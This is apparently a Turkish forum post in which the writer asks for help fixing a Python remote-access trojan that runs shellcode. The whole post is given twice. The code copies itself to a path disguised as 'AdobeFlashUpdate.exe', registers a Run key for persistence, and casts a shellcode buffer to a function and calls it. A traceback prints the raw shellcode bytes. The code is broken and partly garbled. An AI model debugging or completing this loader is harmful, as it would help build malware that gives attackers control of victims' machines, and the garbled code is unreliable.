Merhaba arkadaşlar pythonda rat oluşturmaya çalışıyorumda shellcode ile ancak çalıştırınca bir takım hatalar alıyorum yardım edebilir misiniz_? Aşağıda yazılan kodlar ve Alınan hatalar var....
Kodlar:
@ import os import os.path import platform import shutil import sys import threading import win32api, win32con import win32event, winerror from winreg import * from ctypes import * jurmaGh3AA23f = "C:\\Users\Public\\Libraries\\AdobeFlashUpdate.exe" class thji73ns9m(threading.Thread): def run(self): shutil.copy(sys.argv[0],jurmaGh3AA23f) aReg = ConnectRegistry(None,HKEY_CURRENT_USER) aKey = OpenKey(aReg, r"SOFTWARE\Microsoft\Windows\CurrentVersion\Run", 0, KEY_WRİTE) SetValueEx(aKey, "AdobeFlashUpdate", 0, REG_SZ, jurmaGh3AA23f) buf "" THSse278snmKL4aC = create_string_buffer(buf, len(buf)) Jkdm230fcxz0RTjJ = cast(THSse278snmKL4aC, CFUNCTYPE(c_****_p)) if os.path.isfile(jurmaGh3AA23f) == false: thji73ns9m().start() else: print("\nErro") Jkdm230fcxz0RTjJ() [/USER] Alınan Hata: Traceback (most recent call last): File "C:\Users\seni_\Desktop\shell.py", line 54, in <module> THSse278snmKL4aC = create_string_buffer(buf, len(buf)) File "C:\Users\seni_\AppData\Local\Programs\Python\Python37-32\lib\ctypes\__init__.py", line 63, in create_string_buffer raise TypeError(init) TypeError: ÙÀÙt$ô[ºN} )ɱ^ëü1SSZbÜÝJø{s+2÷ÜǹUõ\ÏqúÕz¤5æ×Td*ɶUå¶ìêKVCø"X²£ØEÅÉÛÉÚÎCÅ~çnV62÷}Jß?9)<#:î?ÿÏõçtwÒXîdý8¨©uD!LZÍqk~"'r+7Ýy3ón£C¡[ÌÒiS2}Áz&7XÙ¸<ìÉV´¦9X÷3æ§Uä*ZۯͱtÇ%9{2Lq®Ç àE&xì+ï#aØÁÄysY**fxÙC èÔÝîèAgÎi!ghRܧVMÞÔ$ÌøÆ ÒmÆfÖ'ÔÕ'ufÆØ^¼ïÞªOÞ*FÞB>}wA¨¢+ÔS<ÆHãã-Ëä³äLsKµl!5=ë¾²Û?±sµTiâÊ|/ºËsôM±Ð®Fh¯F-äÓ #÷fT·;
Kodlar:
@ import os import os.path import platform import shutil import sys import threading import win32api, win32con import win32event, winerror from winreg import * from ctypes import * jurmaGh3AA23f = "C:\\Users\Public\\Libraries\\AdobeFlashUpdate.exe" class thji73ns9m(threading.Thread): def run(self): shutil.copy(sys.argv[0],jurmaGh3AA23f) aReg = ConnectRegistry(None,HKEY_CURRENT_USER) aKey = OpenKey(aReg, r"SOFTWARE\Microsoft\Windows\CurrentVersion\Run", 0, KEY_WRİTE) SetValueEx(aKey, "AdobeFlashUpdate", 0, REG_SZ, jurmaGh3AA23f) buf "" THSse278snmKL4aC = create_string_buffer(buf, len(buf)) Jkdm230fcxz0RTjJ = cast(THSse278snmKL4aC, CFUNCTYPE(c_****_p)) if os.path.isfile(jurmaGh3AA23f) == false: thji73ns9m().start() else: print("\nErro") Jkdm230fcxz0RTjJ() [/USER] Alınan Hata: Traceback (most recent call last): File "C:\Users\seni_\Desktop\shell.py", line 54, in <module> THSse278snmKL4aC = create_string_buffer(buf, len(buf)) File "C:\Users\seni_\AppData\Local\Programs\Python\Python37-32\lib\ctypes\__init__.py", line 63, in create_string_buffer raise TypeError(init) TypeError: ÙÀÙt$ô[ºN} )ɱ^ëü1SSZbÜÝJø{s+2÷ÜǹUõ\ÏqúÕz¤5æ×Td*ɶUå¶ìêKVCø"X²£ØEÅÉÛÉÚÎCÅ~çnV62÷}Jß?9)<#:î?ÿÏõçtwÒXîdý8¨©uD!LZÍqk~"'r+7Ýy3ón£C¡[ÌÒiS2}Áz&7XÙ¸<ìÉV´¦9X÷3æ§Uä*ZۯͱtÇ%9{2Lq®Ç àE&xì+ï#aØÁÄysY**fxÙC èÔÝîèAgÎi!ghRܧVMÞÔ$ÌøÆ ÒmÆfÖ'ÔÕ'ufÆØ^¼ïÞªOÞ*FÞB>}wA¨¢+ÔS<ÆHãã-Ëä³äLsKµl!5=ë¾²Û?±sµTiâÊ|/ºËsôM±Ð®Fh¯F-äÓ #÷fT·;